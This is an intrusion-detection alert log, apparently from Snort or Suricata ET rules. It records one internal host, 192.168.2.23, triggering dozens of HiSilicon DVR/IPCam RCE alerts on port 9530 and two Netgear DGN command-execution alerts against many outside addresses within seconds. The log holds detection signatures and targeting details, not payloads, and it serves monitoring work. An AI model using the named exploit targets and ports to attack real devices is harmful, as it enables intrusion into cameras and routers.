ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 134.44.57.54

Timestamp:	05/16/24-16:38:57.407569
SID:	2030487
Source Port:	40360
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 25.185.111.177

Timestamp:	05/16/24-16:38:50.052488
SID:	2030488
Source Port:	52820
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 25.185.111.177

Timestamp:	05/16/24-16:38:50.052488
SID:	2030487
Source Port:	52820
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 92.174.77.109

Timestamp:	05/16/24-16:39:03.260036
SID:	2030488
Source Port:	43804
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 134.44.57.54

Timestamp:	05/16/24-16:38:57.407569
SID:	2030488
Source Port:	40360
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 69.175.115.232

Timestamp:	05/16/24-16:39:08.146696
SID:	2030488
Source Port:	37014
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 69.175.115.232

Timestamp:	05/16/24-16:39:08.146696
SID:	2030487
Source Port:	37014
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 169.102.138.48

Timestamp:	05/16/24-16:39:14.527580
SID:	2030487
Source Port:	39392
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 169.102.138.48

Timestamp:	05/16/24-16:39:14.527580
SID:	2030488
Source Port:	39392
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.88.50.169

Timestamp:	05/16/24-16:38:55.192744
SID:	2030488
Source Port:	53746
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 80.88.50.169

Timestamp:	05/16/24-16:38:55.192744
SID:	2030487
Source Port:	53746
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 43.137.95.140

Timestamp:	05/16/24-16:39:03.281222
SID:	2030487
Source Port:	43634
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 43.137.95.140

Timestamp:	05/16/24-16:39:03.281222
SID:	2030488
Source Port:	43634
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 196.132.99.83

Timestamp:	05/16/24-16:39:05.717944
SID:	2030488
Source Port:	46108
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 75.99.193.126

Timestamp:	05/16/24-16:39:02.767221
SID:	2030487
Source Port:	43882
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 75.99.193.126

Timestamp:	05/16/24-16:39:02.767221
SID:	2030488
Source Port:	43882
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 136.2.232.41

Timestamp:	05/16/24-16:39:16.608390
SID:	2030487
Source Port:	33838
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 136.2.232.41

Timestamp:	05/16/24-16:39:16.608390
SID:	2030488
Source Port:	33838
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 196.132.99.83

Timestamp:	05/16/24-16:39:05.717944
SID:	2030487
Source Port:	46108
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 140.134.58.145

Timestamp:	05/16/24-16:38:55.227481
SID:	2030488
Source Port:	58726
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 223.136.24.217

Timestamp:	05/16/24-16:39:02.728008
SID:	2030488
Source Port:	44582
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 223.136.24.217

Timestamp:	05/16/24-16:39:02.728008
SID:	2030487
Source Port:	44582
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 44.153.108.247

Timestamp:	05/16/24-16:38:53.094021
SID:	2030488
Source Port:	47996
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 166.167.9.108

Timestamp:	05/16/24-16:39:02.726933
SID:	2030488
Source Port:	54168
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 45.161.66.0

Timestamp:	05/16/24-16:39:03.269808
SID:	2030488
Source Port:	41900
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 166.167.9.108

Timestamp:	05/16/24-16:39:02.726933
SID:	2030487
Source Port:	54168
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 45.161.66.0

Timestamp:	05/16/24-16:39:03.269808
SID:	2030487
Source Port:	41900
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 44.153.108.247

Timestamp:	05/16/24-16:38:53.094021
SID:	2030487
Source Port:	47996
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 140.134.58.145

Timestamp:	05/16/24-16:38:55.227481
SID:	2030487
Source Port:	58726
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 186.157.53.63

Timestamp:	05/16/24-16:38:55.216401
SID:	2030487
Source Port:	39932
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 186.157.53.63

Timestamp:	05/16/24-16:38:55.216401
SID:	2030488
Source Port:	39932
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 2.23.151.35

Timestamp:	05/16/24-16:38:50.080363
SID:	2030487
Source Port:	52116
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.23.151.35

Timestamp:	05/16/24-16:38:50.080363
SID:	2030488
Source Port:	52116
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 1.200.187.165

Timestamp:	05/16/24-16:39:02.747905
SID:	2030487
Source Port:	34064
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 128.47.100.122

Timestamp:	05/16/24-16:38:55.175174
SID:	2030487
Source Port:	46260
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 128.47.100.122

Timestamp:	05/16/24-16:38:55.175174
SID:	2030488
Source Port:	46260
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 109.172.150.74

Timestamp:	05/16/24-16:39:12.382798
SID:	2030488
Source Port:	60116
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 109.172.150.74

Timestamp:	05/16/24-16:39:12.382798
SID:	2030487
Source Port:	60116
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 1.200.187.165

Timestamp:	05/16/24-16:39:02.747905
SID:	2030488
Source Port:	34064
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 27.89.78.135

Timestamp:	05/16/24-16:39:02.726840
SID:	2030488
Source Port:	36046
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 27.89.78.135

Timestamp:	05/16/24-16:39:02.726840
SID:	2030487
Source Port:	36046
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 120.190.106.83

Timestamp:	05/16/24-16:38:55.193176
SID:	2030488
Source Port:	51690
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 120.190.106.83

Timestamp:	05/16/24-16:38:55.193176
SID:	2030487
Source Port:	51690
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 93.163.211.100

Timestamp:	05/16/24-16:39:03.262294
SID:	2030487
Source Port:	54282
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 97.61.128.72

Timestamp:	05/16/24-16:39:08.044934
SID:	2030488
Source Port:	36884
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 146.86.86.216

Timestamp:	05/16/24-16:39:14.491102
SID:	2030488
Source Port:	43430
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 146.86.86.216

Timestamp:	05/16/24-16:39:14.491102
SID:	2030487
Source Port:	43430
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 93.163.211.100

Timestamp:	05/16/24-16:39:03.262294
SID:	2030488
Source Port:	54282
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 63.205.138.228

Timestamp:	05/16/24-16:39:14.491121
SID:	2030488
Source Port:	58382
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 213.208.147.73

Timestamp:	05/16/24-16:38:55.206796
SID:	2030487
Source Port:	58740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 63.205.138.228

Timestamp:	05/16/24-16:39:14.491121
SID:	2030487
Source Port:	58382
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 35.5.142.23

Timestamp:	05/16/24-16:38:50.004119
SID:	2030488
Source Port:	38918
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 146.15.253.142

Timestamp:	05/16/24-16:39:02.743872
SID:	2030487
Source Port:	48596
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 41.77.136.232

Timestamp:	05/16/24-16:39:16.609825
SID:	2030487
Source Port:	43174
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 35.5.142.23

Timestamp:	05/16/24-16:38:50.004119
SID:	2030487
Source Port:	38918
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 41.77.136.232

Timestamp:	05/16/24-16:39:16.609825
SID:	2030488
Source Port:	43174
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 1.47.4.159

Timestamp:	05/16/24-16:39:16.603143
SID:	2030488
Source Port:	47862
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 1.47.4.159

Timestamp:	05/16/24-16:39:16.603143
SID:	2030487
Source Port:	47862
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 146.15.253.142

Timestamp:	05/16/24-16:39:02.743872
SID:	2030488
Source Port:	48596
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.208.147.73

Timestamp:	05/16/24-16:38:55.206796
SID:	2030488
Source Port:	58740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 161.162.162.178

Timestamp:	05/16/24-16:39:12.406005
SID:	2030488
Source Port:	36358
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 161.162.162.178

Timestamp:	05/16/24-16:39:12.406005
SID:	2030487
Source Port:	36358
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 161.212.154.235

Timestamp:	05/16/24-16:38:55.198247
SID:	2030488
Source Port:	49604
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 161.212.154.235

Timestamp:	05/16/24-16:38:55.198247
SID:	2030487
Source Port:	49604
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 90.26.101.166

Timestamp:	05/16/24-16:39:13.634198
SID:	2024916
Source Port:	50716
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 110.18.138.254

Timestamp:	05/16/24-16:39:12.304145
SID:	2030488
Source Port:	44060
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 110.18.138.254

Timestamp:	05/16/24-16:39:12.304145
SID:	2030487
Source Port:	44060
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 23.149.71.6

Timestamp:	05/16/24-16:39:12.378533
SID:	2030487
Source Port:	35982
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.193.233.243

Timestamp:	05/16/24-16:39:03.263653
SID:	2030488
Source Port:	43404
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 181.193.233.243

Timestamp:	05/16/24-16:39:03.263653
SID:	2030487
Source Port:	43404
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 23.149.71.6

Timestamp:	05/16/24-16:39:12.378533
SID:	2030488
Source Port:	35982
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 66.53.197.168

Timestamp:	05/16/24-16:39:13.656949
SID:	2024916
Source Port:	42650
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 171.12.152.85

Timestamp:	05/16/24-16:39:08.126457
SID:	2030487
Source Port:	33528
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 160.189.205.45

Timestamp:	05/16/24-16:39:05.675988
SID:	2030488
Source Port:	42730
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 160.189.205.45

Timestamp:	05/16/24-16:39:05.675988
SID:	2030487
Source Port:	42730
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 171.12.152.85

Timestamp:	05/16/24-16:39:08.126457
SID:	2030488
Source Port:	33528
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 58.9.120.12

Timestamp:	05/16/24-16:38:57.434382
SID:	2030488
Source Port:	37478
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 58.9.120.12

Timestamp:	05/16/24-16:38:57.434382
SID:	2030487
Source Port:	37478
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 147.157.68.101

Timestamp:	05/16/24-16:39:02.764183
SID:	2030488
Source Port:	48968
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 193.51.38.90

Timestamp:	05/16/24-16:39:05.709492
SID:	2030488
Source Port:	48954
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 193.51.38.90

Timestamp:	05/16/24-16:39:05.709492
SID:	2030487
Source Port:	48954
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 142.207.101.43

Timestamp:	05/16/24-16:38:59.592940
SID:	2030487
Source Port:	56350
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 92.145.23.97

Timestamp:	05/16/24-16:39:12.380665
SID:	2030488
Source Port:	33208
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 142.207.101.43

Timestamp:	05/16/24-16:38:59.592940
SID:	2030488
Source Port:	56350
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.134.163.67

Timestamp:	05/16/24-16:39:14.494693
SID:	2030488
Source Port:	33660
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 181.134.163.67

Timestamp:	05/16/24-16:39:14.494693
SID:	2030487
Source Port:	33660
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 92.145.23.97

Timestamp:	05/16/24-16:39:12.380665
SID:	2030487
Source Port:	33208
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 104.115.170.137

Timestamp:	05/16/24-16:39:05.704126
SID:	2030488
Source Port:	44566
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 104.115.170.137

Timestamp:	05/16/24-16:39:05.704126
SID:	2030487
Source Port:	44566
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 17.9.227.169

Timestamp:	05/16/24-16:39:16.612742
SID:	2030487
Source Port:	58960
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 216.160.195.204

Timestamp:	05/16/24-16:39:05.677803
SID:	2030487
Source Port:	54594
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 17.9.227.169

Timestamp:	05/16/24-16:39:16.612742
SID:	2030488
Source Port:	58960
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 216.160.195.204

Timestamp:	05/16/24-16:39:05.677803
SID:	2030488
Source Port:	54594
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 164.179.184.87

Timestamp:	05/16/24-16:39:16.580372
SID:	2030487
Source Port:	46742
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 164.179.184.87

Timestamp:	05/16/24-16:39:16.580372
SID:	2030488
Source Port:	46742
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.67.107.242

Timestamp:	05/16/24-16:39:08.127197
SID:	2030488
Source Port:	59960
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 213.67.107.242

Timestamp:	05/16/24-16:39:08.127197
SID:	2030487
Source Port:	59960
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 112.112.40.227

Timestamp:	05/16/24-16:38:50.069049
SID:	2030488
Source Port:	37116
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 112.112.40.227

Timestamp:	05/16/24-16:38:50.069049
SID:	2030487
Source Port:	37116
Destination Port:	9530
Protocol:	TCP
